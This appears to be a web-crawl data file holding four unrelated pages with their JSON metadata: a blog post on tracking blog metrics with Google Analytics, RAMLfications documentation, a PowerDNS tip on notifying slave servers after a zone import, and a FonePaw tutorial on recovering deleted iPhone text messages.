Okay, so with that in mind, deciding what and why you want to track metrics is really key. I'm honestly not judging here, so be really honest.
Is the ultimate goal for your blog to become a freelance writer? Okay - you don't need traffic then so don't even bother. You are simply doing it to serve your ego....which we all do, but ultimately this isn't going to help you become a freelance writer, right?
Or is it to attract brands to your blog, because you want to start meaningful collaborations and go on press trips? In which case you need to think about engagement as much as you do traffic. Savvy brands and PR's will often overlook the fact you don't have the 'magic number' of unique monthly views or whatever. Because you can have 100k of visitors each month, but if none of them engage with you -- there'll be little point sending you on a trip to the Galapagos and expecting any of your readers to click 'BUY NOW' when you tell them about the amazing hotel you stayed at.
Equally, it's worth noting that if your blog is all about backpacking, but you've been offered a luxury press trip -- your readers probably won't relate or want to buy into a post about high end luxury travel. On the flip-side -- if you write about luxury, you need far less traffic in many ways as you on;y have to convert a few loyal readers to make the brand their money back for your comped stay. Michael Ball taught me that in one of the many brand meetings I sat in with him educating brands on blogger outreach and campaign strategy.
If you have a product to sell, like an e-course or mentoring package, think about the value of it first. If, for example, you have 100 unique monthly views but have at least 10 people leaving meaningful comments on each post, you can consider those 10 people will potentially buy your course. If what you're selling is £20 a pop, you have the (very realistic) potential to be making £200 each blog post when you plug your course. And you don't need the bigger numbers -- despite what you might think.
Ultimately, it's all about working out exactly what you want to achieve before diving into the detail. If you want a nice little e-book to help you delve into this a little further - click here
coffee cup on white table iphone
TRACK THE RIGHT NUMBERS
I see a lot of new bloggers, who use Wordpress, using the Jetpack stats that come as standard with the platform. This is totally fine if you just want a brief overview of what's happening and, as mentioned above, you don't actually need stats for anything more than for fun/ego purposes (NO judgement here by the way, we all need an ego boost to stay motivated!)
But if you've decided you want to work with brands/PR's, want to monetise your blog through affiliate sales, or sell a product -- you need to get a little more serious about your stats. I say a little, because I can only show you the basics -- for anything more advanced you need someone far more qualified than me!
If you've skipped ahead to this section because you just.can't.wait to get stuck in, go back and read the rest. SORRY. You need to know why you want to track before you actually start tracking. End of. There are no shortcuts here, but on the plus side it's really simple and you only have to answer a few questions to know your ultimate goal and to get stuck in.
Pregnancy - white britax camera on flatlay table
GOOGLE ANALYTICS DECODED
So you've decided you want to go on your first press trip, and you want to create a media kit to showcase everything you can offer a brand. What numbers should you track?
In my opinion, there's no hard and fast rule for this and I also don't think you need to create a super complex media kit filled with social stats and baffling numbers showing HOW AMAZING YOU ARE. Yet again, this is often a total vanity project.
My friend Sabina once remarked to me when I was reworking my media kit and feeling overwhelmed that brands will often really need the thing you can offer that you take for granted. She encouraged me to use examples of photography, or writing samples and to be really real.
This was (and still is) the best advice I've ever been given on the topic.
But obviously you will want to add some numbers. So how do you go about it? Click here for everything I know about Google Analytics in the MOST basic level possible. (Because I am truly a basic b@@tch when it comes to this kind of crap.)
If you want the even more basic version, see below ;)
1. Get a Google Analytics account by signing up here (it's free.)
2. Install Google Analytics on your blog using this basic tutorial and this plugin (no coding required.)
3. Set up a few reports using this kick-ass tutorial (with a free custom dashboard.)
4. Track the numbers YOU need to achieve your goal: Social referrals? Traffic (unique monthly views)? Traffic Source (eg Google, social, other people's blogs that include a link to yours, Spam...yep that's annoying)?
Again, this has become a slightly mammoth post. SORRY! If you have made it this far, thank you!!!! If not, no drama I love you anyway.
Please comment and let me know what you think, and if you want to sign up for 1-1 mentoring with me where we can delve deeper into this crazy topic and more - click here. Or simply drop me an email, Tweet or Instagram message.
L x
[mc4wp_form]
| {
"url": "https://lucylucraft.com/blog/how-to-track-blog-metrics-google-analytics",
"source_domain": "lucylucraft.com",
"snapshot_id": "crawl=CC-MAIN-2018-22",
"warc_metadata": {
"Content-Length": "86980",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:D6YHO2SZJHHMVRG6UAQEMR4DZNR77MML",
"WARC-Concurrent-To": "<urn:uuid:22213564-07f5-4d8f-acbe-7f0daa980d29>",
"WARC-Date": "2018-05-21T12:56:26Z",
"WARC-IP-Address": "198.49.23.145",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AF55BDBC6ET55AMBABQYRJBNLMSJ7EQX",
"WARC-Record-ID": "<urn:uuid:14b59c1b-6d60-4df8-ace6-0828fdae7632>",
"WARC-Target-URI": "https://lucylucraft.com/blog/how-to-track-blog-metrics-google-analytics",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5a7cf4da-f743-47e2-b6ce-b701b570533d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-229-196-122.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
75,
76,
129,
130,
581,
582,
1141,
1142,
1144,
1145,
1334,
1335,
1433,
1434,
1962,
1963,
2069,
2070,
2480,
2481,
2613,
2614,
2993,
2994,
3260,
3261,
3443,
3444,
3464,
3465,
3601,
3602,
3669,
3670,
3825,
3826,
3841,
3842,
4009,
4010,
4298,
4299,
4546,
4547,
4802,
4803,
5046,
5047,
5128,
5129,
5301,
5302,
5319,
5320,
5464,
5465,
5727,
5728,
6306,
6307,
6848,
6849,
7350,
7351,
7546,
7547,
7580,
7581,
7605,
7606,
7969,
7970,
8286,
8287,
8650,
8651,
8700,
8701,
8726,
8727,
8898,
8899,
9145,
9146,
9419,
9420,
9495,
9496,
9734,
9735,
9789,
9790,
9858,
9966,
10053,
10272,
10273,
10408,
10409,
10636,
10637,
10641,
10642,
10655,
10656
],
"line_end_idx": [
75,
76,
129,
130,
581,
582,
1141,
1142,
1144,
1145,
1334,
1335,
1433,
1434,
1962,
1963,
2069,
2070,
2480,
2481,
2613,
2614,
2993,
2994,
3260,
3261,
3443,
3444,
3464,
3465,
3601,
3602,
3669,
3670,
3825,
3826,
3841,
3842,
4009,
4010,
4298,
4299,
4546,
4547,
4802,
4803,
5046,
5047,
5128,
5129,
5301,
5302,
5319,
5320,
5464,
5465,
5727,
5728,
6306,
6307,
6848,
6849,
7350,
7351,
7546,
7547,
7580,
7581,
7605,
7606,
7969,
7970,
8286,
8287,
8650,
8651,
8700,
8701,
8726,
8727,
8898,
8899,
9145,
9146,
9419,
9420,
9495,
9496,
9734,
9735,
9789,
9790,
9858,
9966,
10053,
10272,
10273,
10408,
10409,
10636,
10637,
10641,
10642,
10655,
10656,
10657
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 10657,
"ccnet_original_nlines": 105,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.495258629322052,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.040086209774017334,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.146551713347435,
"rps_doc_frac_unique_words": 0.3401682376861572,
"rps_doc_mean_word_length": 4.363827705383301,
"rps_doc_num_sentences": 108,
"rps_doc_symbol_to_word_ratio": 0.00258620991371572,
"rps_doc_unigram_entropy": 5.68523645401001,
"rps_doc_word_count": 1902,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.017469879239797592,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.008674699813127518,
"rps_doc_frac_chars_top_3gram": 0.008674699813127518,
"rps_doc_frac_chars_top_4gram": 0.005783129949122667,
"rps_doc_books_importance": -1101.3719482421875,
"rps_doc_books_importance_length_correction": -1101.3719482421875,
"rps_doc_openwebtext_importance": -674.646484375,
"rps_doc_openwebtext_importance_length_correction": -674.646484375,
"rps_doc_wikipedia_importance": -445.10479736328125,
"rps_doc_wikipedia_importance_length_correction": -445.10479736328125
},
"fasttext": {
"dclm": 0.0358009897172451,
"english": 0.9631510376930237,
"fineweb_edu_approx": 1.0631301403045654,
"eai_general_math": 0.06414002180099487,
"eai_open_web_math": 0.13380998373031616,
"eai_web_code": 0.010453339666128159
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.8",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.8",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "6",
"label": "Promotional/Advertisement"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,932,315,401,213,955,000 | Welcome to RAMLfications’s documentation!
Release v0.1.2 (What’s new?).
ramlfications is an Apache 2.0-licensed reference implementation of a RAML parser in Python intended to be used for parsing API definitions (e.g. for static documentation-generation).
If you’ve never heard of RAML, you’re missing out:
RESTful API Modeling Language (RAML) is a simple and succinct way of describing practically-RESTful APIs. It encourages reuse, enables discovery and pattern-sharing, and aims for merit-based emergence of best practices. The goal is to help our current API ecosystem by solving immediate problems and then encourage ever-better API patterns. RAML is built on broadly-used standards such as YAML and JSON and is a non-proprietary, vendor-neutral open spec.
Why ramlfications and not pyraml-parser?
I chose to write a new library rather than wrestle with pyraml-parser as it was not developer-friendly to extend (in my PoV, others may have more success) and did not include required RAML features (e.g. uriParameters, parsing of security schemes, etc), as well as a lot of meta programming that is just simply over my head. However, I do encourage you to check out pyraml-parser! You may find it easier to work with than I did.
About
ramlfications’s documentation lives at Read the Docs, the code on GitHub. It’s tested on Python 2.6, 2.7, 3.3+, and PyPy. Both Linux and OS X are supported.
Indices and tables | {
"url": "http://ramlfications.readthedocs.io/en/0.1.2/",
"source_domain": "ramlfications.readthedocs.io",
"snapshot_id": "crawl=CC-MAIN-2017-39",
"warc_metadata": {
"Content-Length": "19254",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5NIEPY4G5EMSEKIYJKA6F7FA6MDNR4I6",
"WARC-Concurrent-To": "<urn:uuid:3a79c5d2-1d14-4990-b719-640eef694fae>",
"WARC-Date": "2017-09-26T16:06:46Z",
"WARC-IP-Address": "162.242.198.235",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GQRORGV2PVXLVAFEJGIHQODARHEMZQLZ",
"WARC-Record-ID": "<urn:uuid:05480db3-f712-4926-8244-3e57b0124d47>",
"WARC-Target-URI": "http://ramlfications.readthedocs.io/en/0.1.2/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d2b82d79-f062-49f4-8f78-38827a68c683>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-216-233-55.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
42,
43,
73,
74,
258,
259,
310,
311,
766,
767,
808,
809,
1238,
1239,
1245,
1246,
1403,
1404
],
"line_end_idx": [
42,
43,
73,
74,
258,
259,
310,
311,
766,
767,
808,
809,
1238,
1239,
1245,
1246,
1403,
1404,
1422
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1422,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3493589758872986,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05128204822540283,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2371794879436493,
"rps_doc_frac_unique_words": 0.6832579374313354,
"rps_doc_mean_word_length": 5.11312198638916,
"rps_doc_num_sentences": 25,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.792119026184082,
"rps_doc_word_count": 221,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04955751821398735,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -112.96022033691406,
"rps_doc_books_importance_length_correction": -111.87156677246094,
"rps_doc_openwebtext_importance": -82.93199157714844,
"rps_doc_openwebtext_importance_length_correction": -82.93199157714844,
"rps_doc_wikipedia_importance": -59.759674072265625,
"rps_doc_wikipedia_importance_length_correction": -53.9091796875
},
"fasttext": {
"dclm": 0.17577433586120605,
"english": 0.8935126066207886,
"fineweb_edu_approx": 2.2237398624420166,
"eai_general_math": 0.2945535182952881,
"eai_open_web_math": 0.381808876991272,
"eai_web_code": 0.722398042678833
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.136",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "1",
"label": "About (Org.)"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-851,942,321,688,234,200 | Powerdns 4 – Update slaves after zone2sql
Powerdns has a very nifty tool to import BIND zone files into its database.
It has a problem though, your slaves won’t receive these new zones.
This happens because the zones are inserted as type “Native”, which means that you have to rely on SQL replication or some other way to transfer your new data to the slaves.
Luckily, the fix is rather easy, the following example uses MySQL.
Go to your master server and convert all domains to type MASTER so that pdns will start to notify its slaves about this fabolous happening.
Assuming your master database is called “powerdns-master”:
update `powerdns-master`.domains set type = ‘MASTER’
Now wait a few seconds or minutes and your slaves will recieve notifcations!
Advertisements
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Connecting to %s | {
"url": "https://metaslab.wordpress.com/2016/10/09/powerdns-4-update-slaves-after-zone2sql/",
"source_domain": "metaslab.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "50505",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XWBLKGT3V33RPFOBZAEC37NGTTGA3CUP",
"WARC-Concurrent-To": "<urn:uuid:31ef02cd-eaac-4274-a47c-95195400c6fc>",
"WARC-Date": "2017-06-24T18:52:41Z",
"WARC-IP-Address": "192.0.78.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SZS56N6ZSYEV67UVFARCXKDG7JR5HUYO",
"WARC-Record-ID": "<urn:uuid:ee9a631e-1f40-4c1f-b52e-988dad2a7407>",
"WARC-Target-URI": "https://metaslab.wordpress.com/2016/10/09/powerdns-4-update-slaves-after-zone2sql/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:07bec58d-f7f8-4326-aa1f-844b618bd64f>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-188-132.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
42,
43,
119,
187,
188,
362,
363,
430,
431,
571,
572,
631,
632,
685,
686,
763,
764,
779,
780,
794,
795,
850,
851,
870,
871,
943,
944,
960,
961,
1027,
1028,
1043,
1044,
1111,
1112,
1126,
1127,
1193,
1194
],
"line_end_idx": [
42,
43,
119,
187,
188,
362,
363,
430,
431,
571,
572,
631,
632,
685,
686,
763,
764,
779,
780,
794,
795,
850,
851,
870,
871,
943,
944,
960,
961,
1027,
1028,
1043,
1044,
1111,
1112,
1126,
1127,
1193,
1194,
1210
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1210,
"ccnet_original_nlines": 39,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3571428656578064,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016806719824671745,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17226891219615936,
"rps_doc_frac_unique_words": 0.5958549380302429,
"rps_doc_mean_word_length": 4.94818639755249,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.492500305175781,
"rps_doc_word_count": 193,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.11518324911594391,
"rps_doc_frac_chars_dupe_6grams": 0.0628272294998169,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02513089030981064,
"rps_doc_frac_chars_top_3gram": 0.06701570749282837,
"rps_doc_frac_chars_top_4gram": 0.08795811980962753,
"rps_doc_books_importance": -121.07121276855469,
"rps_doc_books_importance_length_correction": -121.07121276855469,
"rps_doc_openwebtext_importance": -56.89936828613281,
"rps_doc_openwebtext_importance_length_correction": -56.89875030517578,
"rps_doc_wikipedia_importance": -54.29388427734375,
"rps_doc_wikipedia_importance_length_correction": -54.29388427734375
},
"fasttext": {
"dclm": 0.022505339235067368,
"english": 0.8217412829399109,
"fineweb_edu_approx": 2.409061908721924,
"eai_general_math": -0.000010009999641624745,
"eai_open_web_math": 0.020252650603652,
"eai_web_code": -0.000010009999641624745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.776",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,910,938,042,392,967,000 | ×
How to Retrieve Deleted Text Messages on iPhone
By Emily Watson, Monday, October 09, 2017
I was fed up with spam text messages. When I deleted these unwanted messages on my iPhone as a routine, I cleared up all messages by tapping the wrong button at the moment I took my attention away. Those deleted messages include two pieces of verification information for group-buying. Any way to retrieve my messages from iPhone 6s?
• Delete important messages by mistake?
• Accidentally report text messages/iMessages as junk and all the messages are gone?
• iPhone screen crashed when you want to reread a last-minute text message?
• Want to retrieve message from lost/stolen/ badly damaged iPhone?
• Lost messages after factory restore or iOS 11/10 update?
FonePaw iPhone Data Recovery is an excellent recovery tool for those guys who delete text messages from their iPhone or report messages as junk by mistake. This professional software allows you to retrieve deleted or lost SMS/MMS from iPhone X/8/8 Plus/7/7 Plus/6s/6/5s, iPad, and iPod Touch quickly with/without backup. The recovered messages will be exported as CSV and HTML files on your computer. Generally speaking, there are three ways to help you retrieve deleted text messages on iPhone.
People Also Read:
How to Find Old Text Messages/iMessages on iPhone
You can get a trial version download here and have a try under the instructions below.
DownloadDownload
Solution 1: Retrieve Text Messages from iPhone X/8/7/7Plus/SE/6/5
Step 1: Preserve the Deleted Text Messages
What you should do first is to preserve the deleted text messages from being wiped out by new data, that is to use your iPhone as less as possible after deleting the messages. The truth is, when a message is first deleted, it just becomes invisible but the data of the text messages still remain in our iPhone until new data generates and overwrites the deleted messages.
Step 2: Install iPhone Data Recovery
iPhone Data Recovery can find and retrieve the deleted iPhone X/8/7/6/5 messages to PC. Download the iPhone data recovery and install it. Then, run it on the computer as well as connect your iPhone with the computer.
Analyze Your iPhone Device
Step 3: Scan Your iPhone
After clicking "Start Scan" button, the program will start to scan your iPhone X/8/7/6/5 for deleted messages.
Scan the iPhone Quickly
Step 3: Preview Text Messages from iPhone
After scanning, all your iPhone text messages, including the lost ones and the existing ones are listed in the category. You are allowed to preview them one by one. Just "Messages" and "Messages Attachments" to read the deleted iPhone messages.
Preview the Deleted Message Attachment
Step 4: Recover Deleted Text Messages from iPhone
Mark down all text messages you want to get back, click "Recover" button at the bottom of the right corner to retrieve the messages. The SMS will be saved as HTML and CSV files on your computer and photos in MMS will be saved in an attachment folder.
Retrieve the Deleted Message from iPhone
Solution 2: Retrieve Text Messages via iTunes
In this solution, you need to assure that:
• You have installed iTunes on the PC;
• You have backed up your iPhone X/8/7/6 data to iTunes on the same PC previously.
Normally, we don't want to restore the whole iTunes backup just to retrieve several messages since the data not included in the backup will be removed from our iPhone after restoring. Thus we need iPhone Data Recovery, which enables us to extract only the deleted messages from iTunes backup. Also, if you have backed up the messages to iTunes before report them as junk, you can retrieve junk messages on iPhone in these steps.
Step 1: Choose "Recover from iTunes Backup File"
Launch the program and choose "Recover from iTunes Backup File" on the left sidebar of the window. All iTunes backup files will be found and displayed automatically.
Recover Messages from iTunes Backups
Step 2: Start to Scan
Select the iTunes backup with the deleted/junk messages that you need and click "Start Scan" button to extract the backup.
Step 3: Preview Deleted Text Messages from iTunes
After scanning, lost data files will be shown orderly. You can choose "Messages" or "Messages Attachments", preview them one by one, and select those messages you want to retrieve.
Preview the Messages of iTunes Backups.png
Step 4: Recover the Deleted Text Messages from iPhone
After choosing all you want, click "Recover" on the lower-right corner of the interface. And wait till the iPhone messages are restored to your PC.
If the iTunes backup doesn't contain the messages that you need, you can get iPhone deleted/junk messages back with iCloud back.
Solution 3: Recover Text Messages from iCloud
Step 1: Sign in iCloud
Please launch iPhone Data Recovery and select "Recover from iCloud Backup File". Sign in your account with your Apple ID and password. To be able to retrieve messages from an iCloud backup, you must have enabled iCloud backup on your iPhone.
Sign in iCloud First
Step 2: Download Your iCloud Backup
After entering the program, you will see the backup files in your iCloud backup account automatically. Choose the backup you want to restore by clicking "Download" button on the right side of the table. The time of downloading iCloud backup is decided by the amount of your data.
Recover iPhone Data from iCloud Backups
Step 3: Download Your iCloud Backup
After downloading, the software will extract data from the backup spontaneously. Please click "Messages" item to preview all the deleted text messages.
The Process of Scan the iCloud Backups
Step 4: Restore Text Messages from iCloud
Click "Recover" button to retrieve your deleted/spam messages on your computer. And that is how to retrieve deleted text from iPhone with iCloud backup.
Retrieve iPhone Lost Messages from iCloud Backups
Tips:
To prepare for data deletion accident, you should:
• Create a backup of your iPhone to PC, iTunes or iCloud monthly;
• Install FonePaw iPhone Data Recovery on your computer. The program can not only help you to retrieve deleted text messages, but also help you recover your previous SMS, call history, notes, calendar, photos, videos, bookmarks, and so on. It is powerful, simple, and capable of saving the deleted or lost data.
Bonus: What Happens When You Report Junk Text on iPhone?
It happens to many iPhone users: you are just selecting spam messages to delete, instead of clicking Delete, you accidentally tap Report as junk. Now the messages are nowhere to be found, not even in the blocked messages.
So how to recover junk messages on iPhone?
Report Junk
When you get an iMessage from someone who's not in your Contacts, you'll have the option to Report Junk/Spam. If you tap Report Junk, the message will disappear from your iPhone and the sender's information and the message will be sent to Apple.
To retrieve the junk/spam messages, you can follow the above steps to use iPhone Data Recovery to extract the messages from your iTunes/iCloud backup.
DownloadDownload
Rating: 4.3 / 5 (Based on 61 ratings) Thanks for your rating. | {
"url": "https://www.fonepaw.com/tutorials/retrieve-deleted-text-messages-iphone.html",
"source_domain": "www.fonepaw.com",
"snapshot_id": "crawl=CC-MAIN-2019-26",
"warc_metadata": {
"Content-Length": "31044",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PZFNY7USP4PPLR75C2ISLWRB6LDPUXIV",
"WARC-Concurrent-To": "<urn:uuid:13c9b50c-ad4e-4301-8950-864945b7083c>",
"WARC-Date": "2019-06-27T03:23:23Z",
"WARC-IP-Address": "151.139.241.5",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:T7YKMJKWGIFLOR6D65NERO7UXNVQKZRF",
"WARC-Record-ID": "<urn:uuid:e0e55a72-4408-403f-99ab-6f59e5ee7fc6>",
"WARC-Target-URI": "https://www.fonepaw.com/tutorials/retrieve-deleted-text-messages-iphone.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0e08b2c9-a1ee-41d5-8c07-29666fc9a6ce>"
},
"warc_info": "isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-186-182-72.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
51,
52,
94,
95,
429,
430,
472,
473,
560,
561,
639,
640,
709,
710,
771,
772,
1268,
1269,
1287,
1288,
1338,
1339,
1426,
1427,
1444,
1445,
1511,
1512,
1555,
1556,
1928,
1929,
1966,
1967,
2184,
2185,
2212,
2213,
2238,
2239,
2350,
2351,
2375,
2376,
2418,
2419,
2664,
2665,
2704,
2705,
2755,
2756,
3007,
3008,
3049,
3050,
3051,
3052,
3098,
3099,
3142,
3143,
3184,
3185,
3270,
3271,
3700,
3701,
3750,
3751,
3917,
3918,
3955,
3956,
3978,
3979,
4102,
4103,
4104,
4154,
4155,
4336,
4337,
4380,
4381,
4382,
4436,
4437,
4585,
4586,
4715,
4716,
4717,
4763,
4764,
4787,
4788,
5030,
5031,
5052,
5053,
5054,
5090,
5091,
5371,
5372,
